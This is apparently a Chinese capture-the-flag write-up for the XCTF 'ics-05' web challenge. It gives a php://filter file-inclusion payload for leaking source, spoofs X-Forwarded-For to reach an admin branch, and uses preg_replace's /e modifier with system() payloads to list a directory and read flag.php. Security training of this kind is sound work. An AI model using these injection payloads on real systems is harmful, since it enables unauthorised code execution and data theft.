攻防世界XCTF:ics-05

攻防世界XCTF:ics-05_第1张图片根据提示来到设备维护中心
攻防世界XCTF:ics-05_第2张图片
查看源码可以发现这里隐藏了个超链接变量传参,看到变量传参,有可能存在文件包含漏洞读取源码,然后这个站又是php的站,那么使用php伪协议读取源码:

?page=php://filter/read=convert.base64-encode/resource=index.php

攻防世界XCTF:ics-05_第3张图片
出现了base64编码过的源码,使用base64解码后得到源码,漏洞点是这一块代码


}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "
Welcome My Admin !
"
; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>

分析代码可知,当X-forwarded-for=127.0.0.1的时候,如果这时候传三个参数进去pat,rep,sub 会触发preg_replace()函数,而preg_replace()函数有个漏洞。
首先来了解一下preg_replace()这个函数:

preg_replace 函数执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

• $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
• $replacement: 用于替换的字符串或字符串数组。
• $subject: 要搜索替换的目标字符串或字符串数组。
• $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
• $count: 可选,为替换执行的次数。

然而这个函数有个漏洞
当$pattern使用了/e修正符,替换的时候会把$replacement替换进去的代码当成php代码执行,当然要构成合法的php代码才能正确执行。

这样的话,思路就很明显了,抓包改包,增加一个参数,X-Forwarded-For: 127.0.0.1
攻防世界XCTF:ics-05_第4张图片接着查s3chahahaDir这个文件夹,这里需要注意一些字符转化为URL编码,因为从URL传入的值都是会有一层URL编码的
空格用 %20 或者 + 代替
**&**用 %26

?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26ls')&sub=mochu

攻防世界XCTF:ics-05_第5张图片获取flag.php的内容

?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26cat%20flag.php')&sub=mochu

攻防世界XCTF:ics-05_第6张图片

你可能感兴趣的:(CTF_WEB_Writeup)